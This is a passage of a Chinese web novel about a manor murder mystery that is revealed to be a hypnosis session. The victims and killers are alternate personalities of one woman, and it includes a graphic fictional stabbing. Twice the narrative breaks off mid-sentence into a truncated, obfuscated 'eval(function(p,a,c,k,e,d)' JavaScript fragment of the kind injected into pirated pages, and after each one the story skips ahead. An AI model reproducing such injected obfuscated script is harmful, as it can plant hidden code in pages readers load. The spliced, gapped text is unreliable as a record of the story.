但面前的三人明显不相信她的话,眼神依旧保持警惕。 元笑无奈,四肢也被捆绑住,跺脚也只能双腿一起:“可我真的没有杀人,你们要我证明我没做过的事,根本就是强人所难!” 气氛陷入僵持,谁也没有说话。 元笑在努力回忆这几天的事情,试图找寻到什么蛛丝马迹,好让他们解开对自己的束缚。 万一凶手在这时出现,那么自己毫无疑问就成了任人宰割的砧板之鱼。 过了好一会儿,她突然想到什么。 “没错,庄园里一定还有一个我们从头到尾没见过的人。” 金兰花问:“是谁?” 元笑反问Silas:“直到现在我们都不知道那个让你来到这里的女友是谁,有没有一种可能,这里还有一个从未露面的女人,和你里应外合?” Silas的神色出现波动,眸色变深,仿佛山雨欲来。 元笑敏锐察觉到,问:“为什么提到你的女朋友,你就变得和平时不一样?为什么不希望我们提起她,是你想掩盖什么,还是我真的说中了事实?” Silas欲言又止,敛眉开口:“我相信她。” “但我们不相信。你自己的嫌疑还没有撇清,反倒一本正经地分析起别人来了,不说清楚就代表你有问题。” 元笑目光凌厉,“你到底为什么来到庄园?” 提到女友,Silas的脸色就越来越低沉。 就在元笑以为自己误打误撞猜测正确时,Silas突然开口: “如果没有我的爱人,就不会有我的存在。” “我陪伴她很多很多年,这些年无论去哪里都是我们一起。是她拯救了我,完整了我。” “她是个善良的人,善良到被人欺负了也不会还手,更别提杀人了。” “我来庄园就是为了找到她,我不相信她会抛弃我,更不相信她会无缘无故不见我。” “不见你?”元笑皱眉,没等他说完就捕捉到了疑点,“之前你分明说你女友是失踪了。” Silas抬眼,因低着头,所以眼皮褶皱变得更深,一双眼睛也失去了温和,显得阴沉。 “我之前说的就是她不见我。” “不!”元笑厉声道,“你说的是她失踪了!你是来找她的!” “你记错了,”Silas抬头,目色重新回复成原状,平静地看她,“这几天发生了这么多事情,记错了很正常。” 元笑随即看向金兰花:“你记得他之前是怎么说的吗?” 金兰花仔细想了想,说:“我记得……他说的好像是失踪吧……” “怎么会……”元笑喃喃道,“真是我记错了?” Silas说:“我是因为女朋友失踪了,所以才来到这里,我相信她也是受害者。” 虽然这个理由完全说服不了元笑,但她早已筋疲力尽,索性一次性从根源剪断所有疑问和思绪。 破罐破摔道:“无所谓了,无论凶手是谁我都不在乎。反正我们没可能活着离开,你要觉得是我也行。” Silas叹气:“你不想解释?” 元笑反问:“当时只有我和秦北两个人在一起,你要我怎么解释?而且当晚我就已经把事情的经过都告诉你们了,我没有目击证人。” “已经说过一万遍了,欲加之罪,何患无辞。”元笑靠在椅背上不再挣扎,漠然道,“我懒得解释,或许下一个死的就是我,现在说什么都是徒劳。” 金兰花忙道:“我们没有办法证明元笑有没有说话,那在没确定之前,还是把元笑松开吧。” 说着就走上前,快速替元笑解开脚上的绳子。 还没等起身,就听Silas继续说:“元笑有没有说谎现在的确没法证明,但我有你说谎的证据。” 金兰花迟疑地转身:“什么?” Silas指尖夹着一张身份证。 金兰花的照片在上面,但姓名写的却是:【孙招娣】 元笑盯着看了一会儿,又突然望向孙伶聪:“你们俩都姓孙?” 孙招娣。 孙伶聪。 她继续说:“孙伶聪11岁,而你的年纪……你们是什么关系?” 孙招娣摇头:“我们没有任何关系。” 孙伶聪也说:“我也不认识阿姨。” Silas置若罔闻,自顾自地说:“你们该不会是亲戚吧?母子?还是……?” “怎么可能,我妈妈不是这样的!你的推理毫无章法。” “是啊,”孙招娣也急道,“我没有结过婚。” 元笑又仔细看了眼他们两个,孙伶聪的确没有半点和金兰花相似的地方。 两个人从一开始到现在也没说过几句话,如果金兰花真是孙伶聪的妈妈,那只能说他们的演技太好了。 “之前你们两个去楼下,我们再次搜索了大家的房间。”Silas看向金兰花,“你能解释一下,你为什么要隐瞒自己的姓名吗?” 金兰花眼中的光渐渐熄灭,安静了一会儿。 “没错,我的真名就叫孙招娣。” 从金兰花变成了孙招娣,她的声音也变得死气沉沉。 脸上的赘肉在此刻似乎也变得更加黯淡。 孙招娣说:“我今年48岁,从出生开始,噩梦就随着一同降临。” “我的出生不被期待,我的成长无人记录,我的存在除了碍眼之外毫无作用,一切都是因为我是个女的。” “好不容易离开原生家庭,又因为这个名字而每次都遭人异样眼神。” 孙招娣的双手紧紧摩挲,眸中含泪。 “他们第一句问‘你们家重男轻女吗?’,第二句感慨‘这还是我第一次听到现实中有人叫这个名字’,然后再说一句‘那你加油’。之后每一次迎面走来,都友好地打招呼,擦肩而过之后就又开始窃窃私语。” 孙招娣无奈笑一声:“不用听也知道他们在说什么……无非就是‘你知道吗,她叫招娣’,‘招娣?那招来了吗?’……” “其实招来了,”孙招娣看着他们,平静地说,“但又死了。然后我就被说成克死弟弟,日子更艰难。” “我来到庄园只是为了玩一局剧本杀,以此来短暂逃离现实世界,那我随口编个假名字怎么了?” 孙招娣质问Silas:“除了这件事之外,从头到尾我有骗过你吗?有对不起你吗?如果我想杀你,怎么可能会给你揭穿我的机会?” Silas看着她,许久没有开口。 像是在思考,元笑不知道他在思考些什么。 但这个理由触动了元笑的心,她认为孙招娣化名金兰花来玩游戏并没有什么。 这甚至不算是欺骗,只是为了掩饰自己仅靠三个字就能被一眼望穿的人生。 如果现在的一切都没有发生,那么金兰花这个名字,真的很美。 束缚终于被解开,元笑活动着早已麻木的手腕,指腹将被磨破的皮抚平。 “这个名字很好听,”元笑说,“以后我还叫你金阿姨。” 孙招娣的眼睛湿润了,她握着元笑的手,轻拍了拍。 走出餐厅,元笑坐在沙发上,突然想起刚来到庄园那天。 每个人都洋溢着笑脸,热情地做自我介绍。 剧本杀开始后,大家都很快融入剧情中,几乎所有人都和自己的角色融于一体。 这是元笑第一次玩真人剧本杀,那几天真的很快乐。 如果这一切悲惨事情都没有发生的话,那在庄园的体验,将会让她回味很久。 耳边突然传来啜泣声,是孙伶聪。 孙伶聪用衣袖抹干眼泪,这些天他没有换过衣服,又连续大哭了好几场。 鼻涕眼泪都在衣袖上,风干后发黑亮到反光。 一个孩子在这种高强度的环境里生活了这么久,真的很艰难,他承受的压力和痛苦更大。 元笑也坐在孙伶聪身边,轻声安抚:“会好的。” 听到了孙招娣讲述的悲惨身世,元笑突然感慨命运弄人。 孙招娣像自己这个年纪的时候,丝毫没有体会到人生的快乐,反而被家庭压力束缚着。 好不容易长大了,有了工作和爱好,繁忙之中想玩一次剧本杀来忘却烦恼,可又遇见了这样的事情。 况且自己之前被顾霆袭击险些丧命时,也是她打破了顾霆的头,为自己争取到了逃生的机会。 她是个可怜人,也是个好人,结局不该这样凄惨。 元笑歇息了一会儿,又打起精神:“我们重新分析一下疑点吧。” 元笑垂眸,将这几天发生的事通通在脑海里筛了一遍,包括刚刚睡着的那无数个噩梦里,所有人恐怖的脸。 她忽然想到什么,眉头一紧。 “斯文的死也很有疑点。” 金兰花忙问:“是什么?” 元笑凝神,思考着开口,“斯文的死因是割.颈,可鲜血只流了一地。” “按理来说,鲜血应该喷溅而出,可她房间的床上柜子上都没有。这说明她的房间并不是第一案发现场,而是有人在她死后将她转移过去的。” 元笑提出的疑问让大家恍然大悟。 可等四人再次结伴来到楼上时,斯文的尸体也毫不意外的消失了,没有留下半丝痕迹。 这也就代表,即使她推算出来的结论是正确的,也没有机会得到证实。 元笑的右眼一直在跳,她用力按着太阳穴说:“我们暂时排除鬼神的因素,刚刚我在餐厅睡着时,你们有没有听到什么声音?” 几人摇头,异口同声:“没有。” “那么我可以肯定的是,这座庄园里,一定还有我们没见过的人。像是幽灵一样隐藏在最隐蔽的地方,用上帝视角在观察我们的一举一动。” 话音刚落,只见Silas冲过来,一把将金兰花扯到他身边。 下一刻,金兰花背后的门板嘭地一声掉在地上。 不知是谁砸了很久没有砸开的门,在这一刻松懈了,露出一个门洞,下面则是后花园的景象。 “或许是真的幽灵,”孙伶聪说,“或许这是一座凶宅,这里有鬼。” 在今天之前,元笑一直都是个相信科学的人。 但发现了这个诡异的门洞,她的心开始动摇。 四人重新回到客厅。 孙伶聪又哭了,哭的凄惨至极,其他人则再没有安抚他的精力,只沉默不语地垂眸。 直到孙伶聪哭到干呕,金兰花拍着他的背,想要给他倒杯水,可茶壶已经空了。 Silas起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有一点比较奇怪的是,金兰花在讲述自己身世之后,专门对Silas说了一句:“除了这件事之外,从头到尾我有骗过你吗?有对不起你吗?如果我想杀你,怎么可能会给你揭穿我的机会?” 这句话看似合理,可还是有点不对劲。 ‘有对不起你吗?’ 为什么要说这句话? 这句话在这里真的合理吗? 当她隐藏真实姓名时,自己虽然被绑在椅子上,但也提出了疑问。 那孙招娣解释完之后的质问,该是对大家说的。 为什么她用了‘你’,而不是‘你们’? 再往后回忆。 推测出斯文并没有死在她自己的房间后,四人一起上楼。 门板突然脱离,Silas将孙招娣扯到他身边,那个动作也和陌生人之间在紧急关头互相帮助不一样。 元笑记得从前,她和秦北还不熟。 操场上有篮球飞到自己脸前,秦北是提着她的手臂在球砸过来时,将她扯到了一边。 后来两个人在一起后,又出现了相同的情况。 这一次秦北则是搂着她的肩膀,将她带进怀里,亲昵地躲过了篮球。 而刚刚Silas 用的就是这个亲昵的动作! 危机时刻的下意识反应才是最真实的! 可Silas是个刚毕业的大学生,而孙招娣今年已经48岁了。 他们两个…… 不会这么离谱吧。 但再离谱也没有这几天发生的事情离谱,说是有鬼她都信了。 元笑抿了抿唇,看着孙招娣,说:“金阿姨,你的烦恼除了身材外貌之外,是不是还有其他的?” 孙招娣一怔:“什么?” 元笑将她的反应揽入眼底,沉声说:“比如爱情。” “怎么会呢。” 孙招娣眨了眨眼,尴尬地笑着提着肚皮上的肉,“我这个样子……” “为什么不会,你也是人,也拥有爱人和被爱的权利,”元笑看着她的眼睛,“你来这里是不是也为了躲避不想见的人,却没想到那个人居然也追到了这里?” 这话说完,几秒钟后,孙伶聪诧异地张大嘴巴,眼中也浮现出惊讶的神情: “元笑姐姐,你的意思是说……天呐!” 孙伶聪简直不敢相信自己的推理,直到脑海里闪过一个纹身图案,才恍然大悟。 “难道Silas身上的纹身不是太阳的英文,而是——” 话还没说完,孙伶聪突然感觉身体一凉。 这种凉由内到外,瞬间席卷全身,是他这辈子都没有体会过的凉。 低头,一把染了鲜血的尖刀从胸膛贯穿而出。 孙伶聪颤抖地抬手,试图接住从刀尖上滴下来的鲜血。 他缓缓回头—— 对上了Silas勾起嘴角,在笑着的恐怖的一张脸。 孙伶聪痛苦地皱眉,补充还没来得及说完的话:“是……是拼音……孙——” Silas将刺进孙伶聪身体里的刀用力转上一圈,冷笑一声:“除了吃就会哭,不要再称自己是神童了。到死才想明白,太晚了。” 刀这样一转,仿佛拧开了闸口,大量血液涌出,顷刻间浸透了孙伶聪的衣服。 Silas不为所动,另一只手摘下眼镜扔到地上,看着元笑慢条斯理道: “我杀秦北时也是这样。因为你就在外面,我必须要快、稳、准、狠。” 15. 正版 元笑从没见过这样恐怖的场面,那样长的刀,一刀穿透孙伶聪的身体。 Silas速度那么快,快到还没反应过来,一条鲜活的生命就在眼前消失。 随着长刀的抽离,孙伶聪的身体在地上颤抖,很快就没了声息。 Silas还在笑着,笑容变得阴狠。 头朝一侧歪了歪,指尖拭去喷洒在下颌处的一滴鲜血,愉悦表情毫不遮掩。 他看上去并不急于结束这场杀戮游戏,而是以一种胜利者的姿态,挑眉看着元笑。 元笑双眼瞪得极大:“是你……” “是我,”Silas沉声开口,“不,准确的说,是我们。” 说完,他看向孙招娣。 用没染上鲜血的那只手牵起孙招娣的手,轻吻她的手背。 含情脉脉地目光落在孙招娣脸上,语调轻松地对元笑说: “我的爱人对你总是大发善心,尽管你破坏了我们很多计划,依然把你的命留到现在。” “善心?”元笑不露声色打量着自己所处位置到门口的距离,质问道,“你们让我目睹了亲人朋友一个接一个离我而去,你管这叫善心?” “你看,我就说如果你真心疼元笑,就该让她早早和秦北一起死,”Silas对孙招娣说,“这样,我们也能早点离开,不是吗。” 说完,他转头看向元笑,温和的视线顷刻变得冷血,仿佛换了个人。 “现在,真的到你了。” 下一刻,元笑按着沙发背弹起自己轻盈的身体,越过沙发夺门而逃。 她头也不回跑进树林中,穿过花园,继续朝最深处狂奔。 Silas并没有追过来,他似乎很不屑于这场追逐游戏。 但元笑依旧没有放松警惕,直到筋疲力尽彻底跑不动,才缓缓停下脚步,按着膝盖弯下腰大口喘粗气。 她根本不记得自己和Silas、孙招娣有什么恩怨。 难道秦北才是恩怨的源头?而自己只是个陪葬品? 怪不得孙招娣那样体贴,在这种时候屡次告诉他们保持冷静,原来也是凶手的同谋。 元笑歇了很久,依然难以缓解疲惫。 铃铃铃—— 突然一阵摇铃的声音传来,元笑头皮发麻浑身血液都在此刻凝固。 她以为这又是Silas那个变态的恶作剧,可仔细看了周围也没见对方的身影。 “元笑,是你吗?” “你好元笑,醒醒。” 是个女声,很温柔,很陌生,不属于这里的任何一个人。 那声音来的方向是…… 大门! 元笑犹豫了很久,最终还是躲避光亮从树林最里侧,悄悄走向大门。 很快,她透过茂密的树枝看见闸口再次出现,甚至连庄园大门也敞开着! 元笑的一颗心几乎要跳出来,什么也不管,疯了一样冲出大门。 得救了! 她得救了! 终于跑出来了!! …… 一道白色的光晃过她的眼睛,像用强力手电直直照射一般,刺的眼球酸痛。 元笑用手臂挡住双眼,那道光又好像能够透视,直到她忍受不了蜷缩在地。 “元笑,快醒醒,是你吗?” “元笑?” “元笑醒醒!” 元笑猛地睁开眼,视线聚焦,入目居然是一位穿着白大褂的女医生。 女医生收了细手电,手指从她眼皮上移开,转而到了脸上轻轻拍打:“元笑,是你吗?” 她环顾四周,发现自己所处空间仿佛在这一刻发生了巨大转变。 女人扎着一头马尾,戴着无框眼镜,身边是个笔记本电脑,电脑上有各种颜色的细线,而细线的另一端链接的正是自己的身体。 对面的墙上是无数游走跳跃的电光,五颜六色像身处在未来科幻世界。 随着天花板上的灯亮起,科幻世界消失,元笑环顾四周,惊讶地发现墙上的壁画正是自己刚刚逃出来的庄园正面图。 栩栩如生的树木,仿佛下一刻就要随风飞舞,再次将她带入深渊。 元笑心有余悸,疑惑地问:“你……你是谁?” “我叫温月,”温月双手插在白大褂口袋里,微笑着看她,“你好,元笑。我们终于见面了。” 元笑皱眉:“终于?我们认识吗?是网友还是……?” 温月摇头:“我是一名心理医生,你刚刚所经历的一切,都是在我催眠状态下发生的。” “催眠?”元笑越听越不解,“什么催眠?我不明白。” “简单来说,你之前经历的一切都是假的。此时此刻,不会有人伤害你。”温月握着她的手,温度顷刻覆盖她冰冷的指尖。 温月拿起自己的外套,又放下,转而拿起一条宽大厚重的毛毯,披在元笑肩膀上。 她露出让人舒适的和善微笑,问她,“不冷了吧?” 元笑摇摇头:“不冷。” 温月指着墙壁又问:“那你可以告诉我,刚刚在那栋别墅里,都发生了什么吗?” 在元笑眼中,温月人如其名,给人的感觉温润如同弦月。 尽管第一次见面,就很容易让人心生好感。 嘴角弯起的弧度,以及说话的语调似乎都带着魔力,像是救世主。 元笑跟她说:“秦北死了,秦北是我的男朋友,他被人杀了,别墅里还有其他人也被杀死了……” 接过温月递来的纸巾,元笑抽噎道:“我不知道秦北的尸体在哪里,可你说那里发生的一切都是假的,所以秦北还活着对吗?他没有死对吗?他在哪?” 说完,又突然看见温月手边放了好几个文件夹,有一个错了位,露出底下一角,那上面写着【姓名:秦北】 元笑倾身拿过来,得以看到完整内容。 【姓名:秦北 性别:男 现实年龄:48岁半 分裂序号:5 幻想年龄:18岁半 职业:高中生 与患者关系:高中暗恋过的男生 分析: 患者在现实年龄18岁时分裂出此人格,距今已经30年。 患者自述高中时暗恋过秦北,但后来被秦北发现,并联合其他同学霸凌患者。 由上述原因,引发出患者强烈需要被保护的情绪,在屡次被霸凌意识崩溃时,分裂出【秦北】人格,该人格与【4号】人格是情侣。】 元笑的眉头越皱越深,转而去找这张纸上写着的【4号】人格。 【姓名:元笑 性别:女 现实年龄:48岁 分裂序号:4 幻想年龄:18岁 职业:高中生 关系:高中同年级但不同班的同学 分析: 患者在现实年龄18岁时分裂出此人格,距今已经30年。 患者自述,元笑是全校最受欢迎的女生,鞋子和书包都是白色的,整个人也干干净净。无论老师还是校领导见到她很和蔼。在学生中也十分受欢迎。 秦北高调追求元笑,对她无微不至。患者在暗恋秦北期间,最羡慕的人就是元笑。 在被霸凌期间,是元笑从中调解,才没让患者的高中生涯变得太艰难。 患者称最想成为的人就是元笑,因此分裂出了【元笑】人格,该人格与【5号】人格是情侣。】 元笑看着眼前的印刷字体,不可置信地抬眼看向温月。 “这些都是什么东西?什么人格?什么分裂???什么四号五号???”元笑紧紧攥着纸,扬声质问,“你到底是谁?这是在哪里?秦北呢?我要找秦北!!” “我是温月,”温月从茶几下拿出一个奖牌,“这里是我的心理咨询室。” 金色奖牌上赫然写着温月的名字,那上面的称谓是:【心理学博士】 温月把文件夹拿回来,耐心整理好被元笑攥皱的纸张,语调平稳: “元笑你听我说,现在的局势很危险。因为10号也就是陈成医的背叛,导致我对催眠失去了控制,幸好我召唤到了你。” 温月继续说:“我长话短说,你是孙招娣……也就是金兰花,精神分裂出来的其中一个人格。” “我这次的催眠计划本来是想要让你们在平静中‘消失’,让孙招娣的精神分裂症得到康复。可陈成医是个自私的人,他想独活,违背了和我的承诺,后来更是根本不肯见我。” “刚才我试图召唤孙招娣,但还是以失败告终,我想她或许被陈成医控制了。” “你现在要做的就是和孙招娣联合起来,帮她摆脱陈成医的控制,我会每隔十分钟召唤你或孙招娣一次,你必须把这十分钟里发生的事情告诉我,然后……” “你到底在说什么!!”元笑狠狠一拍桌,打断了温月的话,将桌上的一切全都推到地上。 纸张纷飞散落在地,元笑拍着自己的胸口: “你看清楚!我是一个人,是个活生生的人!不是谁分裂出来的人格,我叫元笑!!” 元笑指着她:“你就是凶手对吧!你就是Silas的女友??是你把我们骗到这里,是你神出鬼没把我们赶尽杀绝!!你这个疯子!你的确需要看心理医生,因为你有毛病!” “我不认识你,从来没见过你,也没有得罪过你!你为什么要囚禁我??我还在别墅里对吗,你看清楚我是元笑,我是元笑!!!不是得罪过你的别人!你看清楚啊!!!” 温月平静地眨了眨眼,倾身从包里拿出一面镜子。 她把镜子扣放掌心,沉声道:“你要做好心理准备。” 元笑刚要伸手去拿,却在此刻惊讶地发现,自己的手背又胖又黑,关节肿大。 本来纤细的手指干燥起皮,指尖龟裂,精心保养的指甲如今也光秃秃一片……活脱脱像个长年劳作的中年女人的手。 元笑一把拿起镜子,几乎是用抢的速度。 下一刻镜中出现了—— 孙招娣的脸。 “啊!!” 元笑尖叫一声把镜子扔到远处! 这比她这些天经历过的一切都要恐怖。 她捂着自己的脸,清晰地感受到了面颊的油脂和痘印,随即又像触碰到了恐怖的东西一样甩开手,转而又看见自己的掌心。 本来三条线分明,现在纹路却变得凌乱又深。 这根本不是她的手! “啊啊啊啊!!!”元笑抑制不住内心的惊慌,只能用尖叫来平复内心。 她把镜子踢得远远的,直到它滑到桌下。 可一低头看见的并不是脚尖,而是突出的大肚腩,转身时甚至能闻到头皮上油脂的味道。 不,这不是她。 她是元笑,今年18岁,高中刚刚毕业,她打算这次旅游结束后就要去上大学的。 而不是那张纸上写着的48岁! 是谁偷走了她的三十年,还把孙招娣的脸放在了她的脸上! “元笑元笑,”温月握着她的手,“我知道你很难接受这一切,但你仔细想想,你的名字是谁给你取的?” “我的名字是……” 元笑愣愣地看着温月,陷入回忆的迷宫之中:“我的名字是,是谁取的……?” 她居然毫无印象。 “再想想,你初中是哪里的?小学是哪里的?有没有在小学期间得过奖状,你的小学老师叫什么,你初中教导主任叫什么?” 元笑的大脑一片空白。 像是凭空被谁偷走了记忆,温月这些简单的问题,她居然一个也答不出。 “我,我不记得了……一定是因为我太累了……” “不,”温月摇了摇头,“是因为孙招娣只知道你的高中生活,她没有参与过你的曾经。她不知道,那么由她分裂出来的你就自然也不知道。” 很轻的语气,却震耳欲聋。 许久之后。 元笑没能想起小学初中生活,记忆只停留在高中阶段,在之前甚至半丝印象都没有。 她诧异地指着自己的鼻子,哽咽问道:“我……是不存在的?” 温月沉重地点头。 温月问:“你有没有遇到一个看上去和大家格格不入的女人?她抱着个不会哭的婴儿,你看见她的脸了吗?” 元笑点头。 “像不像你的妈妈?” 元笑泪如雨下。 “但其实,那个女人早就已经去世了。她是孙招娣的妈妈。” 温月重新拿出一面镜子,缓缓放在元笑面前。 镜子里是张恬静温柔、岁月静好的脸。元笑激动地眨眼,盛在眼眶里的泪水一跃而下,眼前重新变得清晰。 这张脸瞬间布满岁月的痕迹,暗沉疲惫又粗糙,庞大的两腮,鼓囊囊的眼袋,没有得到呵护的青春痘留下了大大小小的痘印…… “不……”元笑捂着自己的脸,“不……不要这样……我不是这样的……” “元笑,你必须接受现实,并且仔细听好我接下来的每一句话。” 温月严肃道:“10号陈成医背叛了我和孙招娣,你们本不该承受这一切恐慌,这一切都是他造成的。” “我猜他一定想要和孙招娣共存,为了生活在这个身体里。” “而你要做的,就是帮助孙招娣一起,在庄园里找到陈成医并且杀了他。只有这样才能完成我对孙招娣的治疗,让她从此成为一个健康的人。” 元笑疲惫地抬眼:“还有Silas。” “Silas?”温月神色突然变得紧张,攥着沙发扶手忙问,“Silas怎么了?” “他当着我的面杀了孙伶聪。”元笑死气沉沉道。 温月倒吸一口冷气,如临大敌:“Silas居然也在伪装。” 文件凌乱散落在地上,Silas的那张纸在最上方。 【姓名:Silas 性别:男 现实年龄:现实中无参照物。 分裂序号:6 幻想年龄:20岁 职业:无 关系:患者的恋人 分析: 患者自述在压力倍增时,看小说和写小说是解压唯一方式。 小说中有一人设是【病娇】,此人设大多厌世、固执、为达目的不择手段。 Silas是患者亲笔写下的病娇属性人物,只对患者专一,只保护患者,只爱患者。同时又保持了表面阳光和善,内心阴暗的属性。 患者在现实年龄19岁时分裂出此人格,距今已经29年。【Silas人格】是患者因身材外貌被排挤后唯一的慰藉。 重点:该人格知道患者的秘密,包括知道自己是被幻想出来的人格,并视【5号】人格为情敌。】 “视5号为情敌?”元笑说,“5号不是秦北吗……所以秦北才会第一个死,就因为孙招娣在高中时暗恋过秦北?” 温月点头:“我猜是这样的。” “那为什么我们之前没遇到过Silas?”元笑问。 “大部分时候,孙招娣可以控制每个人格的出现,以及是否碰面。” 顿了一下,温月沉重道: “可她最近病情严重了,而且无法自由控制人格的出现,所以才找到我做心理咨询,希望能通过其他方式,让所有副人格消失。只可惜……陈成医和Silas不约而同背叛了我们,所以我们急需你的帮助。” 元笑崩溃道:“如果不是我跑得够快,早就被Silas杀死了,你现在让我去杀了Silas和陈成医……我做不到。” 她也不想做。 几分钟前,她还是元笑,还在为了活着而奔波逃命。 而现在却平白无故出现在了一家心理咨询室里,和一位心理学博士讲话,并且被她抹杀。 从这个世界上抹杀。 她的死不会惊动警方,不会有人来为她立案调查。 怪不得大家的尸体很快就不见了,连血迹也消失的一干二净。 原来他们本来就不存在。 可怜她们像个无头苍蝇一样互相怀疑,这是可笑。 “你能做到,”温月看着她,认真道,“在孙招娣的心中,你是那么善良又聪慧。哪怕亲眼目睹了死亡,也依旧能够最大程度保持理智。你是她心中唯一的净土,是她最羡慕的人,你一定要帮她。” 元笑冷冷地问:“帮她抹杀我自己吗?” 温月说:“元笑的现实年龄也已经48岁了,我不知道她是否和现实世界的秦北走到最后,但我相信她依旧是个好人,日子也一定过得平安顺遂。换个角度来想,你还活着,这只不过是一场梦。” “我想你能活到最后,一定是因为孙招娣的保护。Silas虽然背叛了我们,但他对孙招娣的感情不会变。他一定是听了孙招娣的话,才把你留到最后。” 元笑也记得Silas杀掉孙伶聪后说的那些话,自己之所以能够一直活着,少不了孙招娣的保护。 “既然如此,为什么不让孙招娣告诉Silas不要再杀人了呢?” “……因为,”温月哽了一下,随即垂眸:“是我们先欺骗了他。” 一个月前,也是在这间心理咨询室里。 温月坐在孙招娣面前,与她对视片刻后,眯了眯眼:“你不是孙招娣。” “没错,我不是她。” 一开口,房间内的空气就仿佛被凝结。 温月说:“你是Silas。” “她说你想见我。”Silas习惯性翘起二郎腿,却因臃肿的大腿而无法完成这个动作。 他突然勾了勾唇,带着一副宠溺的笑轻轻抚摸膝盖,随即将两条腿搭在茶几上。 温月问:“开心吗?” Silas挑眉:“为什么这么问?” “这么久了,你终于见到孙招娣了。”温月微笑,“开心吗?” Silas的眼神变暗,顶着孙招娣的那张脸,不悦道:“这你都知道,她怎么什么都跟你说。” “因为我是她的心理医生,我不会未经她的允许,私自窥探她的隐私。” “呵!”Silas不屑地冷笑一声,“如果那晚我没出现,就发现不了她打算治病,也就永远不会知道你们的计划,或许我也会成为牺牲者。” 温月说:“这就是你对她的不信任了,你们在一起那么久,难道你不知道她是什么人吗?” Silas咬了咬牙,不想再继续这个话题:“你找我到底要做什么?” “你的出现还真突然,那我就长话短说,” 温月告诉他,“既然你已经知道孙招娣打算治病,那我需要你配合我们去一座庄园里,听从我的指挥,让除你之外的其他人格消失。” “她真的打算留下我?” Silas怀疑道,“那样就不算康复。” “她是因为控制不了其他人格才打算治疗,如果以后你听她的话,她又怎么舍得让你消失呢?”温月说。 Si ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈成医这个名字是他自己告诉我的,”孙招娣绝望地摇头:“我和他不熟悉,不知道他的性格脾性,因此他是我最难控制的人格。他好像随时都可以出现,随着心情好又消失。他能背出我写的小说,还熟悉其他人格,我任何秘密都隐藏不了他。” 温月问:“包括现在我们的对话,他也能听见吗?” “当然能了,美丽的温医生。”孙招娣刚刚还愁眉苦脸的表情,瞬间变得坦然。 她(陈成医)悠闲地往后靠,一只手搭在椅背上: “我一直在你们身边,事实上,这是一场我们三个人的对话。” “我也是个心理医生,可惜学术不精,没办法与你这个博士后比较,”陈成医遗憾地摇摇头,随即又微笑, “但你们休想摆脱我。既然我出现了,就要成就一番事业的。我的终极目标就是你——的导师。甚至比你的导师更厉害,我要成为这世界上最伟大的心理学家。” “ok,”温月不动声色地笑笑,“既然如此,我们合作吧。” “你不给孙招娣治疗了?” 温月说:“包括她自己在内,她体内共有11个人格,男女老少甚至还有个婴儿……我想,如果我让除你之外的其他人都消失,也算是给她治疗了。最起码比现在乱成一锅粥更好不是吗?” 陈成医的笑意渐深。 温月问:“难道你不希望只剩下你们两个吗?” 陈成医:“我以为至少要和你周旋一段时间。” “我工作从不拖泥带水,”温月拿出一沓邀请函,“现在,你可以根据其他人格的性格为他们量身定制庄园邀请函了。” 温月提醒:“用心点,如果有人拒绝了你的邀请,以后可是会和你争抢这个身体的。” …… 讲完这些,温月看着元笑,轻叹一口气:“是我低估他们了,他们完全不相信我,还跟我演了一个月的戏。” 元笑疲惫道:“其实每个人都在演戏。” “没错,其实他们都是活生生的人,有好的一面也有坏的一面,”温月说,“斯文尖酸刻薄,俞耀星谎话连篇,顾霆贪慕虚荣,孙伶聪也不是什么神童……孙招娣的智商就是他的智商。” 元笑问:“顾霆他不是凶手吗?” “事情失去了控制,我也不知道他们之中的谁会突然杀人,”温月皱眉,“但我猜测,只要俞耀星不出事,顾霆就会一直保持理智。” 所以顾霆前期真的没有参与计划,他也和自己一样,并不知道自己只是孙招娣分裂出来的人格。 元笑抚摸自己的脖子,惊讶地发现当她占用孙招娣的身体时,脖子完全不痛了,脚腕上的蚊子包也消失不痒了。 “俞耀星死后,他差点杀了我。” 温月长长叹了口气:“还好你没事,否则我真的没办法了。” “这里面的所有人都有大大小小的缺点。除了你,元笑。” 温月握着她的手,真诚道:“你是唯一一个说真话,唯一一个无辜的人,你一定愿意帮助孙招娣的对吗?” 元笑犹豫道:“我……我不想再回去。” “哪怕是为了已经死去的秦北呢,”温月问她,“其实你一直撑到现在,不仅仅是为了自己,对吗?” 提到秦北,元笑最后一丝犹豫终于消耗殆尽。 “是。”她闭上眼睛,落寞道,“如果我和秦北注定是不存在的人,那么早点结束这种生活也没什么不好。” 地上的狼藉一片已经被温月快速整理好。 元笑重新躺在柔软的沙发上,视线落在墙壁上的庄园照片上,问:“你怎么知道事情并没有按照你们约定好那样发展的?” 温月说:“约定的时间到了,孙招娣却没有根据我的召唤醒来。” “你们约好在固定时间醒来?” “当然了,毕竟我不能入梦。所以我必须要唤醒孙招娣,让她告诉我事情进展到了哪一步。” “可自从剧本杀结束后,我就再也唤醒不了她了,并且睡梦中的她眉头紧皱,这就说明事情出现了问题。” “而我们之前商议过,一旦出现问题,我就要想办法召唤其他人。” “斯文,顾霆,秦北,还有你,你们四个是我的首选。我试图召唤他们三个,可都没有回应,我就知道他们三个一定出事了,还好你活着。” “斯文?”元笑说,“你应该唤醒过她,她说她来过这座庄园,并且熟悉东西放在哪里。” 温月尴尬地抿了抿唇:“不,那是一场差点露馅的意外。斯文本不该出现在庄园里的。” …… 那一天。 温月将庄园的外貌贴在墙上,并把内部结构打印在纸上,厚厚的一沓纸摞起来有十厘米左右。 孙招娣问:“我要把这一切都背下来?” “铭记于心,”温月说,“这些细节只有你记下来,其他人才能看见。” 孙招娣问:“但别墅里有这么多房间,你只让我记住11间,其他的怎么办?” 温月说:“你只需要记住一扇门就好了,至于后面……反正那些门也不会被打开,想象成一面墙或者空无一物也可以。” …… “我们实验了几次,孙招娣都在我的催眠中成功走进庄园,可有一次出了意外。” 